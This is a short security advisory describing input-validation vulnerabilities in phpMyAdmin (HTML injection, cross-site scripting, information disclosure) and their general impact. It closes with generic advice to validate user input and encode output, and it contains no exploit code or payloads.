phpMyAdmin Multiple Input-Validation Vulnerabilities

phpMyAdmin is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities. An attacker could exploit these vulnerabilities to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.

Mitigation:

Ensure that all user-supplied input is validated and filtered before being used in the application. Ensure that all output is properly encoded before being returned to the user.
